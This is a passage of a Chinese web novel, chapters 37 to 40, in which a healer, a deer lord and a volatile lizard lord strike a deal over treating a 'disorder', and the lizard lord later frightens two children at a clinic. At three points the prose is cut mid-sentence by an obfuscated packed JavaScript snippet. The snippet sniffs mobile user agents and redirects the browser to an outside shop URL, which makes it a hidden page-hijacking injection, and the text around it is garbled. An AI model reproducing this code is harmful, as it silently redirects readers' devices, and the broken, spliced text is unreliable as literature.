克拉芙季雅几乎以为她会读心术,“我怎么会知道你们在想些什么?说不定就是有什么不为人所知的目的呢?” 她之前被沈莫失骗过一次了,没有那么容易信任对方。 沈莫失镇定地回击她的质疑,“这件事是不是真的,你作为真正罹患紊乱症的兽人之一,只要你愿意亲身试一试我的治疗方法,那不就真相大白了?” “我们怎么可能会撒一个这么容易被戳穿的谎言呢?” 反正治疗方法确实是真的,她一点不怕克拉芙季雅的质疑。 克拉芙季雅还没来得及开口,她身后的章鱼副手先出声了。 “说不定这就是你们的目的呢?谁知道你们会不会在疗程中暗中做手脚呢?” 克拉芙季雅眯起眼没作表示,看来她也是觉得有这种可能性存在的。 沈莫失撇撇嘴,“别人的经验你不信,你自己又不肯尝试,那我们的交易还怎么进行下去?” “不过反正我是没有紊乱症困扰的,交易失败对我而言也没什么损失。” 沈莫失勾起嘴角与克拉芙季雅对视着,两人都没有再表态。 陆岭眼看着时机差不多了,跳出来打圆场,“既然你无法信任别人的经验,也不接受我们的医生对你进行治疗,那么换一个你们也熟悉的人不就好了?” 她的这番话顿时吸引了克拉芙季雅与章鱼的注意力,沈莫失也很配合地转头去看陆岭,听她有什么好主意。 当然她其实已经提前知道答案了。 “这不是巧了吗?我手上刚好有那么一位你再熟悉不过的医生了。”陆岭笑得沉静,完全看不出这才是她们最初的目的。 即使她不明说,在座众人也都知道这位医生指的是谁。 “我们会将紊乱症的治疗方式传授给她,之后就由她对您进行治疗如何?” 说完,陆岭先看向了沈莫失的方向,沈莫失会意地点了点头,“我没意见。” 她于是又看向犹豫的克拉芙季雅,“您应该也知道她的性格,她是绝不会敢于对您下手的不是吗?” 克拉芙季雅静静地与陆岭对视,这确实是一个她可以接受的建议。 倒不是说她有多信任鳞,而是这么多年来,她实在是太了解鳞了,就像是陆岭说的那样,鳞是不会有那个胆子对她下手的。 把刀放她手上,她估计都能抖着手扔掉。 再有便是,据她的了解,陆岭这人确实不是个喜欢撒这种谎骗人的家伙,又不是那只乌鸦。 而治疗紊乱症的方法,实在对她的吸引力很大,大到她愿意去冒一次险。 最后看了眼陆岭,克拉芙季雅扬起下巴点了点头,“那就这么办吧。” 答应下来后,她才有些后知后觉地反应了过来,犹疑地看向对面的两人。 难不成那条蛇才是她们的最终目的? 不过对面两人都是成了精的狐狸了,自然没被她看出些什么端倪来,只回她毫无破绽的微笑。 “那么,祝我们合作愉快。”沈莫失主动起身伸手。 克拉芙季雅轻哼一声,暂时放下了此前的怀疑,光是一条蛇应该也不至于她们如此大动干戈。 她也站起身来,座椅被带着向后倒下,沉闷地砸在了地毯上。 克拉芙季雅深深地看了眼沈莫失,像是要把她牢牢地记在心里,才用力地握住了沈莫失的双手一震,带着自己的几位下属率先离场。 后续的细节就不是她们之间需要商议的了,自有副手和下属们会负责好。 如果陆岭等人所说的是真的,那她们后续自然还会有大把的交易可以谈。 身侧的章鱼副手紧随其后,出门前,没忍住回头又多看了眼沈莫失。 沈莫失正龇牙咧嘴地甩着被紧握的那只手,没料到她还会突然回过头来,忙把手掩在身后,扯出一个礼貌的笑来。 章鱼见状顿了一会儿,又装作什么都没看到的样子。 既然克拉芙季雅都已经做出表态了,章鱼的态度自然也随之发生了变化,她不再咄咄逼人,而是回到了最初与沈莫失相识时的模样。 章鱼微笑着向她致意,“您之前走得匆忙,没来得及带走您的随身物品,此前无法确定您的行踪,这些物品才暂时由我保管着,之后我会尽快为您送来的。” 接着,她又有些无奈地补充了一句,“这次您可别再吓坏我的下属了。” 沈莫失回忆了一番自己在鬃狮蜥领的经历,领主府的人她接触得不多,能被她吓到的章鱼的下属估摸着也就只有那位象人了。 她对那位象人的观感其实蛮好的,人家也确实是真心关照她。 而她在告诉她自己需要独处休息后就消失在了休息室内,也不知道她在知道这件事后受到了多少的惊吓。 现在想起来了,沈莫失还确实有些不好意思。 她摸了摸头,没来得及回应对方,外头就传来了克拉芙季雅不耐的催促声。 “章鱼!快跟上。” 章鱼副手闻言,匆匆向沈莫失与陆岭道别,就追上了前方的领主。 看着克拉芙季雅一方彻底离开,沈莫失才突然大松了一口气,一屁股瘫倒在了座椅上。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074632|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊——好累啊,下次这种场合你去叫子涵来吧,我就不参加了。” 她扭曲地贴着座椅滑落,假装自己是一只史莱姆。 和沈莫失相处得久了的人都能获得一个被动属性,那就是自然而然地忽略掉沈莫失时不时脱口而出的怪话。 陆岭好笑地看着她瘫在椅子上的模样,“这不是做得很好吗?之前我们定下的目标也都完美实现了。” “哼,”沈莫失骄傲地翘鼻子,“那是当然了,我是谁啊。” “诶?不过。”像是突然想起了什么一般,沈莫失回到了正常的坐姿,好奇地看向一旁的陆岭问道。 “之前从来都没问过,但那位章鱼副手的名字到底是什么?” 这个世界上一般是不会直接以种族名来称呼一个人的,就像是不会有人以“人”这个词来称呼沈莫失一样,沈莫失也不会以“鹿”来称呼陆岭。 即使还算不上是在骂人,也会微妙地有些失礼。 看克拉法之前对章鱼副手的态度,应该不会做出在公开场合直接以“章鱼”来称呼副手的事情才对。 ——她只是疯了,又不是傻了。 沈莫失此前只是把对方当作一个陌生人来看待,她一向没有记住陌生人的名字的习惯,可随着与那位副手打的交道越来越多,她难免对对方升起了一点兴趣。 之前的资料里,对这位副手的介绍都很少,她以为是对方行事低调,又跟了一位过于高调的领主才导致了这一点。 但现在想想看,陆岭一向周全,可她给的资料里居然连对方的名字都没有,可对方又确实是鬃狮蜥领内的实权二把手,深受克拉法的信任,这就很奇怪了。 陆岭没想到她会在这个时候问这个问题,一时也愣了愣。 “那位章鱼副手啊……关于她的资料确实不多,只知道她是几年前突然出现在科洛莫罗身边的。” “从她的行为举止可以猜测,她之前应该是出生于大族,不过大家基本不会去挖掘她的过去。” “为什么?”沈莫失充满了疑惑,难道有什么特殊的原因在里面吗? 陆岭了解一点沈莫失的来历,也差不多习惯了沈莫失毫无常识的状态,为她解释这个当地的潜规则。 “因为她放弃了自己的名字,也没有为自己取个新的名字,从此她的种族名就是她的代称,这相当于她放弃了关于她过去的一切,过去的那个她已经彻底死去了。” “诶——”沈莫失不禁发出一阵惊叹声,真是难以想象,那位稳重的章鱼副手会做出这么极端的事情来。 陆岭对着沈莫失笑了笑,“所以,在我们看来,现在的她已经是一个全新的人了,自然不会去纠结她过去的身份。” 陆岭在心里补充道,或许说是全新的半个人也没什么问题,而这,或许也是科洛莫罗会那么信任她的原因之一吧。 但要再解释这个就更复杂了,她看向眉眼间难掩困意的沈莫失。 一大早就被她薅起来赶路来边境,不断修改剧本,调整注意事项,又经历了一次高压下的商谈。 对于习惯了睡懒觉和摸鱼的沈莫失而言,今天的工作量确实是超标了,也难怪她会觉得疲惫。 陆岭伸手轻轻揉按了下沈莫失的后颈部,沈莫失熟悉了她的气息也没有反抗,享受着陆岭难得的按摩服务。 “别管她了,我先送你去休息一阵吧。” 38.奇怪的邻居 最大的问题也解决了,克拉芙季雅前脚刚离开,章鱼副手后脚就把她遗留在宴会上的斗篷给她送了回来。 沈莫失摸着斗篷柔软丝滑还带着香氛气息的面料,不禁感慨了一番她的办事效率。 这人的能力和陆岭有得一拼啊,也难怪陆岭这么忌惮对方。 而作为本次事件的中心人物之一,鳞的生活倒是与之前没有什么太大的变化,依旧是认认真真地在诊所里学习,抓紧赶上她之前落下的进度。 ——虽然只是暂时罢了。 沈莫失回来后就告知了她两位领主间协商的结果。 鳞自然不会因为她们没有提前与她沟通就把她安排得妥妥当当这件事生气,反而感动地一把抱住了沈莫失,糊了她一肩膀的眼泪。 至此,鳞的加入没有了任何的阻碍,也不再需要躲躲藏藏了。 以上这些都在沈莫失与陆岭的计划之中。 在计划外的是另一件事,一件令陆岭都感到费解的事情——科洛莫罗居然打算从此常驻在驯鹿领内。 当然不只是陆岭一个人对此感到匪夷所思了。 “……” 沈莫失对于从某天早晨开始,就突然刷新在了诊所内的克拉芙季雅表示了自己深切的不解之情。 “你好啊邻居,接下来一阵子,我就住在你隔壁了。” 克拉芙季雅笑得一脸阳光,完全看不出她的本性有多恶劣,抬手对毫无防备的沈莫失宣布了这一事实,丝毫没有要考虑她的意见的想法。 “我没记错的话,你还算是个领主的对吧?你还没退位吧?” 沈莫失把紧张兮兮的鳞挡在了身后,询问正好奇地在她的诊所内乱窜的克拉芙季雅。 也算是鳞倒霉,沈莫失正好把她叫到了办公室里补她来迟了落下的课,结果就撞上了来找沈莫失的克拉芙季雅。 “是这样,那又如何?”克拉芙季雅毫无自己正身处别人领地内的自觉,坦然的回复把沈莫失都整不会了。 她不禁疑惑地质问她,“领主一般情况下不是不会离开领地的吗?你不怕遇到危险吗?” 克拉芙季雅这时候倒是很有自知之明了,咧嘴露出一口獠牙来,“谁还能比我更危险啊。” 沈莫失听了一阵无语。 鳞则是紧紧抓着沈莫失的衣摆,在她身后小幅度地点了点头,见她这么紧张的样子,沈莫失干脆把她先打发去了其他地方。 “去看看你的师姐们有什么需要帮忙的地方吧,剩下的内容我下次再给你补上。” 鳞下意识去看在场的另一个人,克拉芙季雅无所谓地摆了摆手,鳞才憋着气从她身边绕过出门去。 见鳞出去了,沈莫失才继续问她,“那你的公务怎么办?” 沈莫失是知道作为领主,陆岭的工作有多忙碌的,特别是在她与对方达成了合作后。 紊乱症在这个世界上不算是一件小事,要尽快在全领内,甚至是其他领地,做好推广治疗方法的准备,绝不会是一件简单的工作。 在近期与克拉芙季雅达成了初步的共识后,陆岭更是忙得脚不沾地。 沈莫失觉得最近陆岭的黑眼圈都重了不少了,这还是在有钟鹄这个靠谱的副手的协助下的情况。 听钟欢的说法,她妈妈回家的次数也变少了。 那么,同样作为一地领主,这人怎么就能悠闲地在她这讨嫌呢? 面前的克拉芙季雅毫无负担地向沈莫失解释道:“我还有副手啊。” “如果所有的工作都需要领主亲自来做的话,那还要副手做什么?”她对着沈莫失摊摊手,把压榨下属这件事说得理所应当。 “呵呵,真是好有道理啊,所以你就把所有的工作都丢给副手了?”沈莫失毫不留情地挖苦她。 原来章鱼副手高效的办事效率是被你逼出来的啊? 克拉芙季雅无所谓沈莫失谴责的眼神,反正她现在是无事一身轻,并且打定了主意要做这个邻居了。 沈莫失看出她和自己一样不要脸的性格了,叉腰无奈地询问她,“所以你来这儿到底是要做什么呢?” 连陆岭都没来得及知会她一声,可见对方这一举动确实是出乎了所有人的意料。 嫌弃地瞥了眼墙上那对鹿角装饰,克拉芙季雅看向沈莫失,挑眉回道:“当然是来监视鳞的了,万一她对我有意见,故意学得很慢呢?” 你倒是好好反思一下为什么她会对你有意见啊! 看着她这幅模样,沈莫失不禁扶额叹气,“你在这里才会影响鳞的学习效率吧?” 话又说回来,沈莫失可不信克拉芙季雅她不了解鳞认真的性子,什么监视鳞的说法,她全当她是在放屁。 说是她又犯病了倒还可能性高些。 面对她的质疑,克拉芙季雅丝毫不受影响地笑笑。 和精神有问题的家伙可聊不出什么东西来,即使她不同意,估计这个我行我素的家伙也不会受到什么影响。 沈莫失也懒得再和她扯皮,反正最烦克拉芙季雅的肯定不会是她。 她为鳞与陆岭等人默默祈祷了一番,坚定地推开了越靠越近的克拉芙季雅。 这人在不发病的情况下,勉强也能算是个正常人,只是没有一点边界感真是太讨人厌了。 “那随你去,别打扰到我的学生们。” 之后,克拉芙季雅确实如她所说的那般,带着自己的一帮班底常驻在了沈莫失的诊所边上,时不时就来溜达一圈。 沈莫失一点不怵她,把她当作一个不定时刷新的NPC,又要求自己的学生们也把她当作一个普通人。 受她的影响,学生们和其他员工也逐渐习惯了这个经常出现在诊所内的大块头。 由于陆岭把她视为极危存在,看她看得很严,没有给她什么胡作非为的机会。 而长期生活在驯鹿领内的大家对于领主的印象还是亲和居多,即使听过很多关于这位的负面新闻,可在对方安分的情况下,并不像鬃狮蜥领的民众那般对她的出现恐慌不已。 偶尔还会愿意回答她的一两句疑惑,大多是关于“紊乱症”“内力”“兽人”之类的话题。 不过即使习惯了她的存在,这些在诊所内的学生们依旧看不顺眼克拉芙季雅,毕竟她们这第一批学生都是陆岭精挑细选出来的,基本都算得上是陆岭的人。 而克拉芙季雅不在自己的领地内好好待着,偏要跑到驯鹿领来,给陆岭添了不少的麻烦。 再有就是…… 一位鹿族的半兽人把目光移向角落里不自觉抓挠着自己手臂的鳞,不禁露出担忧的神色。 沈莫失此前离开驯鹿领去救人的事在她们之间不算是秘密,虽然鳞的年龄在她们之间是最大的,可她们在听闻了鳞的过去经历后都很关照这位小师妹。 偏偏那位可恶的领主又总是要来招惹鳞。 小鹿看着克拉芙季雅磨了磨牙,决定在晚上对陆岭领主的汇报里添油加醋一番。 “嗯……”克拉芙季雅没管周围这圈人的想法,专注地看着沈莫失指导学生们对一位重症患者进行治疗。 现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085763|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在也只有重症患者才会需要沈莫失出马了,而克拉芙季雅这个格格不入的外人则是自己挤进来的。 ——仗着没人敢来阻拦她,她这阵子总这么做。 可又只是逛逛看看也不多做什么,连陆岭都拿她没办法,学生们当然更无能为力了,只能暗戳戳地打暗号嫌弃她。 而在克拉芙季雅眼里,她们都算是些没长开的小孩子,她都懒得跟她们计较,也不会去管她们在背地里是怎么蛐蛐自己的。 患者已经昏过去了,任由沈莫失等人施为,与猎刀当时简单粗暴的手法不同,现在她们有条件了,都是直接上的麻药。 “这样就算是好了?”克拉芙季雅指着结束了一次治疗的学生,转头去问沈莫失。 “不然呢?”沈莫失没被她影响到,上前检查学生这次治疗的成效。 “就这么简单?” 治疗患者的事情,她也看了好一阵子了,不过因为她是兽人,感受不到内力这玩意儿,结果就是什么都没看出来。 但是那些患者又的确在慢慢好转,所以沈莫失掌握了一种有效的治疗技术的事大概率是真的。 “你懂还是我懂?” 沈莫失撇撇嘴不管她,从病人身上收回手,自顾自地回头去夸奖学生们。 “做得很不错,看来很快你们就能自己应付重症病人了。” 重症的治疗方式比起普通的紊乱症患者要难一些,不过在沈莫失不亲自上手的情况下,几名学生合力治疗一位患者也能达到与沈莫失的精神力近似的效果。 这也是她们近期才摸索出的可行的方法,有了这个方法后,沈莫失摸鱼摸得越发心安理得了。 看来很快,即使是重症也可以托付给这些学生们了。 学生们闻言高兴地贴到了一块儿,沈莫失摸了摸凑到她面前的兽耳,心情越发轻松。 让学生们负责后续的工作,自己则溜达回了办公室,也不在意某只大蜥蜴又跟在了自己的身后。 直到走了一段路,她才意识到身后好像有些过于安静了。 沈莫失顿时警觉地转过头,去看沉思中的克拉芙季雅,“你不会又在想什么奇奇怪怪的事情吧?我告诉你,我可什么都不缺。” 也不怪她这么警惕,在克拉芙季雅意识到她是真的可以治疗紊乱症后,这人对她的态度就有些微妙的转变。 比如经常会给她送一些她觉得“沈莫失需要的东西”,并不管沈莫失是不是真的需要,包括但不限于美食华服、金银珠宝、珍贵药材、精美装饰。 如果沈莫失拒绝,她就会一脸无辜地向沈莫失解释她那神奇的脑回路。 “你不肯收下,送礼的我肯定是不会有错的,你只是个收礼的人,也不会有错,那错的肯定就是准备礼物的那个人了。” 这么说着的克拉芙季雅当即就要撸袖子去撕了那个不中用的下属给沈莫失赔礼道歉。 沈莫失:失策了,忘了她脑子里有泡泡! 不敢赌她会不会真去撕了那个倒霉蛋下属,沈莫失在向陆岭与章鱼副手反馈皆无果后,只能捏着鼻子收下了这些东西,都堆砌在了诊所里的一间储藏室内。 她当时还专门划了一间储藏室出来,可现在都快要堆满了。 这种情况一直持续到克拉芙季雅开始给她一车一车地送男宠,从半兽人到兽人,从陆上种族到海洋族。 “这可是我专门从乌鸦那里进的货啊!” 克拉芙季雅满脸自豪地展开双手向沈莫失展示她背后的一群美色,“陆岭她做得到吗!” 39.抢小孩 沈莫失看着她身后环肥燕瘦,各有千秋的一群人,深吸一口气,终于还是没忍住,脱了外套就和克拉芙季雅狠狠干了一架。 靠人不如靠己,既然陆岭和章鱼都拿她没办法,她就自己动手了! 反正她现在也不用装鸟人了,在自己的诊所里,只要她吩咐,就不会有任何八卦传出去。 她这就给克拉芙季雅看看自己的拳头有多硬! 虽然克拉芙季雅在发现沈莫失能和她打得有来有回后,态度越发热情到诡异了,可她至少不再送些奇奇怪怪的东西。 沈莫失觉得自己可以勉强接受这个结局,只后悔怎么没有早点动手。 从那些混乱抓马的回忆里脱出来,沈莫失警惕地盯着克拉芙季雅的表情。 事实证明她的直觉没错,克拉芙季雅想到刚才那一幕,认真地询问沈莫失的想法。 “我在想,我是不是送错人了,你好像更喜欢女孩子。” 那她不是落后陆岭一步了吗?她之前还觉得陆岭不解风情,现在想想,那人可真是心思深沉。 克拉芙季雅眼神幽暗地思索着要如何超过陆岭。 沈莫失就知道她说不出什么好话来,由于对方太高了,她要跳起来才能打到她的头,干脆直接一个猛拳去打她的肚子。 “都说了别乱送东西了啊!还有,那是我的学生啊!”沈莫失咬牙切齿地对她喊道。 克拉芙季雅倒也没躲,明明沈莫失用的力道不算大,她还是戏精十足地弯腰,作出被打到吐舌头的姿态。 她也不是每时每刻都想打架的,当她不想打架的时候,就作出这幅摆烂的姿态来。 “你这个人,真是好难搞啊。”克拉芙季雅摸着肚子低头去看沈莫失,苦恼地砸吧嘴。 对于这一点沈莫失偶尔也是会有些自知之明的,但是…… “你是最没资格说这句话的人。” 沈莫失直接白了她一眼。 “啧。”克拉芙季雅看着沈莫失这幅油盐不进的样子就觉得伤脑筋。 所有和她有合作的人,她都多少知道对方所求,陆岭那个伪君子是为了所谓的理想,鳞是为了自由,章鱼是因为救命之恩。 可偏偏遇到了一个沈莫失,克拉芙季雅始终看不透她的欲望在哪里。 喜欢美食,但不沉溺于此,没有照样过日子;喜欢对人们“动手动脚”,却又没有更进一步的想法。 美食美人、金银珠宝,没有一个能打动她,她甚至连个长久的爱好都没有,这样的人居然也是真实存在的吗? “你可真是个可怕的家伙。”克拉芙季雅皱巴着眉头感慨。 沈莫失觉得自己就像是一条路过的狗,莫名其妙就被人踢了一脚。 她都快被克拉芙季雅气笑了,“我还没说你呢,怎么就轮到你说我了?” 克拉芙季雅咂咂舌,也懒得再拐弯抹角地试探她了,直截了当地指着沈莫失说:“你好像什么东西都不想要,那我要怎么放心和你合作呢?” “没逼你合作,谢谢。”沈莫失皮笑肉不笑,有在认真地考虑要不要把她的指头咬下来。 不过很快她就挥散了这个想法。 可怕可怕,和克拉芙季雅待久了,自己都要不正常了。 “再说了,到时候给你治病的是鳞,和我有什么关系。” 沈莫失知道她各种送礼的目的不单纯,猜了好几天,结果没想到只是为了这个。 “那你到底想要些什么?”或许最开始克拉芙季雅是为了试探沈莫失,可在屡战屡败后,她是真的想要知道答案了。 看克拉芙季雅的表情就知道,她肯定是不想善罢甘休的,沈莫失叹了口气,提醒自己不要和个病人较真。 “我到底想要什么东西……”沈莫失苦恼地按了按太阳穴,突然想起来一件和克拉芙季雅有关的事情了。 她把好久不出场的圆环从衣领里拽了出来。 “你真是提醒我了,确实有一件事我得拜托你。”她对着克拉芙季雅挥了挥自己的圆环,让它发出柔和的光亮来。 “大概是几个月前吧,具体时间你得去问陆岭,你的领地内可能会有一个物件突然发出奇异的白光,如果真的有这样的东西,那就把它带来给我。” 沈莫失一直觉得克拉芙季雅来驯鹿领的举动很奇怪,之前她一直以她有病来解释这一点,但现在想想,这会不会就是钥匙给她的提示呢? 拥有钥匙的人会不自觉地互相吸引,或许那块鬃狮蜥领内错过的钥匙的线索就在克拉芙季雅的身上。 “这是什么?”克拉芙季雅低头观察着这个奇异的银环。 沈莫失把它又收了回去,“知道这么多做什么,反正这就是我真心想要的东西,可能会是各种奇怪的东西,你只管带来给我、不,去找陆岭就是了。” 她可不想再被克拉芙季雅骚扰了,还是交给陆岭去对付吧,反正陆岭那也有她一片钥匙在。 克拉芙季雅挑起眉,她看出沈莫失这次说的是真话了,虽然还不是很明白沈莫失想找什么东西,但总之,都交给章鱼和下属们去做吧。 “你放心吧,等我的好消息。”克拉芙季雅拍着胸脯向沈莫失保证道。 “呵呵。”沈莫失礼貌性地笑了两声,觉得这阵子她至少能少来骚扰她一些了。 …… “啊!红雪,我刚才看到那边钟欢在找你哦,要不你去和她玩一会儿吧。” “嗯?”专心学习的红雪从一堆病例中抬起头来,看向叫住了她的师姐,“可是我还没看完这些。” 红雪举起手里的一摞资料向她示意。 虽然年级还小,不算是诊所的正式员工,但是红雪每到休假时间内就会来沈莫失这边学习和帮忙。 沈莫失最开始觉得这没必要,她现在的能力已经足够应付猎刀的身体状况了,即使她应付不了,也有她的几位师姐可以上场。 ——即使红雪才是第一位跟着沈莫失学习的半兽人,是实际上的大师姐,但是她的年龄毕竟还小,诊所里的大家都把她当作师妹来看待。 现在的情况与之前可大有不同,沈莫失觉得没必要让一个小孩子那么辛苦,童年不好好玩还要等到什么时候呢? 可红雪反而对这件事态度积极,巴不得每天都往诊所这跑,从沈莫失这里学内力的用法,又跟着其他几位医生或是师姐们学些正经的医疗知识。 沈莫失见她如此乐在其中,也没再阻拦她,只是约好了仅休假时间才可以来,平时需要在学校好好上课,并且嘱咐了几位学生们不要让孩子太辛苦了。 所以这位师姐才会在这时候提醒红雪去找钟欢玩一玩。 钟欢妹妹经常会和红雪约好一起过来诊所,不过来后她们就会分开,红雪跟着师姐们学医,钟欢跟着沈莫失和猎刀学武。 自那次沈莫失答应钟欢要教导她开始,钟欢就会隔三差五地来找沈莫失。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093870|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不过沈莫失考虑到自己并不熟悉幼年兽人的教育方式,怕她的一些训练方式会对钟欢有什么不好的影响,于是便拉上了猎刀一起教这孩子。 如此一来,红雪、钟欢、猎刀这三人就过上了工作日上学或上班,休息日在沈莫失的诊所里学习或教学的日子。 师姐微笑着摸了摸红雪的头,“你学得够久了,和她一起去放松放松吧,我看她好像新学了什么招式正想给你展示。” “那好吧。”蹭了蹭师姐温暖的手心,红雪搁下学习任务起身去找小伙伴。 红雪在走廊上走着,还一边分神回忆着刚才学习的知识点,来的次数多了,她现在走诊所内的路就像是在家里一样自在。 不过现在的诊所与之前有一大不同之处,这一点不同红雪此前仅听闻,却还从未亲眼见到过。 诊所内的人们都很有默契地不让她遇到这一“不同”。 可总会有意外发生的,比如现在。 “呀!” 拐角处,红雪只觉得自己突然撞到了什么坚硬的物件上,还没反应过来就摔了个结实的屁股蹲。 她最初以为自己是撞到了什么新设的摆件上,摸着撞痛了的尾巴和臀部,红雪一脸委屈地抬头,想看清到底是什么硬东西。 然后就对上了一张面无表情的鬃狮蜥脸。 “嘤!”面前突然出现一位柱子一样高大的兽人,红雪下意识惊出一声叫唤来,尾巴蹭着地连连往后退。 凭克拉芙季雅那张脸,即使刻意露出和善的微笑都会显得凶神恶煞,更何况是现在冷着脸的情况了,也难怪红雪会被吓到。 “嗯?”在红雪叫出声前,克拉芙季雅甚至都没发现这个小矮子,闻声才好奇地低头去看这个狗叫的小孩。 “你别过来!” 红雪见她凑得越来越近,瞪圆了眼盯着她,呼吸急促,几乎是连滚带爬地想要逃开她。 克拉芙季雅手比脑快,见她要跑干脆直接伸手抓住她的后衣领,把她提了起来,拎在手上细细打量。 白发黑眼的狗崽子,她记得这好像就是沈莫失最小的一位学生吧。 哦!之前一直没见过,现在终于算是见到了啊。 “居然比我想象中还要小啊。”克拉芙季雅看着红雪低声道。 “你放开我!你是谁?知道这里是哪里吗!” 突然被提到了半空的红雪吓了一大跳,她涨红着脸,下意识抓紧了克拉芙季雅的手防止自己掉落下去,腿脚胡乱地在她身上踢踹想要自救。 不过凭借着红雪的那点力气,即使再使劲挣扎,在克拉芙季雅看来也跟玩闹没什么区别了,她甚至觉得这孩子活蹦乱跳的样子还蛮可爱的。 “哈哈,小孩,你叫什么名字?”对红雪兴趣满满的克拉芙季雅把她提到自己眼前询问她。 可就像是克拉芙季雅完全没听红雪说话一样,红雪也没听她说了些什么,在一顿拳打脚踢都无效后,她干脆放开了嗓子大吼。 “救命啊!有人抢小孩!” “妈妈!沈莫失!救命啊!” 面对巨人一般高大又态度无礼的克拉芙季雅,红雪真切地感到恐慌,不顾一切地大喊大叫,声音在走廊上不断回荡出去。 即使妈妈和沈莫失都没听到,她相信会有其他员工听到的,到时候总会有人来救她。 “放开她!” 被提在半空的红雪眼含希望地望向来人的方向。 40.幼稚 不过红雪眼里的希望之色很快就被担忧取代了。 “怎么是你!快跑啊!”红雪抓着克拉芙季雅冲来人喊道,“你去找大人们来!” 来人居然是没比红雪大了多少的钟欢。 “放心吧!我现在好厉害了。” 钟欢最近和沈莫失与猎刀学了不少招式,凭借着出众的天赋,甚至偶尔能打过几位保镖,她自觉现在的自己可以救下红雪。 她这么努力地在练武,如果连女友在面前受难都无法拯救的话,那要怎么去拯救更多的人呢! “她力气好大,你听我的快跑!” 红雪像条搁浅的鱼一般,在克拉芙季雅的手上不断扑腾着,希望给钟欢争取时机逃跑。 然而钟欢斗志昂扬,并不觉得自己会输。 “哈!” 亮出了獠牙的钟欢伸出自己锋利的爪子就向着克拉芙季雅冲了过去。 克拉芙季雅单手就压制住了红雪反抗的动作,挑眉看着地上另一个矮个子向她扑了过来。 “嗯?这是要抱抱吗?” 她笑得眼都眯了起来,“那我就陪你玩玩吧。” …… “……你在干嘛?” 当沈莫失瞠目结舌地看着克拉芙季雅左手一只虎,右手一只狗地出现在她的办公室门口时,她几乎怀疑自己是在做梦。 她记得她今天不是把钟欢托付给猎刀了吗?而克拉芙季雅和红雪又是怎么碰上的?这三人怎么会出现在这里?还是以这种奇怪的方式? 沈莫失满脑袋问号,百思不得其解。 有这种感觉的显然不只是她一人,照旧在沈莫失这边补课的鳞也难得地忘记了自己对于克拉芙季雅的恐惧之情。 “这到底是发生了什么?”鳞迷茫地刮了刮自己脸侧的鳞片,疑惑地发问道。 问得好,她也想知道。 沈莫失和鳞对视一眼,双方都能看到对方的困惑之情。 她看向克拉芙季雅左手上正嚎啕大哭的钟欢,又看向她右手上满脸愤恨地试图咬她一口的红雪,脑子短暂地宕机了一会儿。 “人怎么能闯下这么大的祸!” “不对。” 沈莫失懊恼地敲敲脑袋,重新整理自己的语言系统,对克拉芙季雅喊道。 “你怎么连小孩子都欺负啊!” 回过神来后,沈莫失连忙上前,把两个小孩子和克拉芙季雅分开,一手揽过一小只抱到自己怀里不断安慰着。 鳞则是抖着腿挡在了孩子们和克拉芙季雅的中间。 “好了好了别哭了,有我在呢,发生什么事了?”她从鳞的手里接过纸巾擦了擦钟欢脸上的泪水。 “师傅师傅呜呜呜,”钟欢泪眼朦胧地叫唤着沈莫失,接着又呼唤起钟鹄来,“我想要妈妈啊呜呜。” 钟欢又受委屈又受惊吓,吚吚呜呜地说不清楚话来。 看来从钟欢这里是得不到什么有效情报了,沈莫失又把目光转向红雪。 红雪一被沈莫失抱住就忍不住了,眼里也开始掉珠子,沾了灰尘的尾巴低垂在身后一甩一甩。 不过不像是钟欢这般无措,她还能磕磕绊绊地跟沈莫失诉苦。 “我和那个人在走廊上撞上了,然后……” 沈莫失抚着红雪的背,听着她的哭诉,没忍住去看了眼克拉芙季雅。 对方和她对上视线,还能毫无负担地抬手冲她笑笑,覆盖着规则鳞片的尾巴悠哉地在她身后晃荡着。 沈莫失下意识瞥了一眼她那白白净净的手。 天可怜见的,红雪甚至还破不了克拉芙季雅的防,随她咬都留不下一点印子来。 沈莫失不禁深深地叹了一口气。 孩子们的哭喊声不绝于耳,又听到了沈莫失的叹气声。 自觉是自己把这个大麻烦引来了的鳞越发愧疚,将三人挡在身后,第一次鼓起勇气去质问克拉芙季雅。 “你到底是来做什么的?” “整天不干活在这里乱逛也就算了,怎么还欺负起小孩子来了?” “这是一个大人做得出来的事情吗?” “你多大,她才多大?” 鳞刚开始紧张得直喘气,可说得越多,反而越发冷静起来。 “大家都在认真干活,你在领地内难道一点事情都没有吗?” 克拉芙季雅听着鳞毫无杀伤力的谴责,无所谓地站在原地,摊手回她道:“早就说过了,我还有副手在嘛。” “哦对了,你上次不在这,”她突然想起这一点,于是轻佻地笑着又对鳞重复了一遍她的道理,“副手不就是用来做领主不想做的工作的吗。” 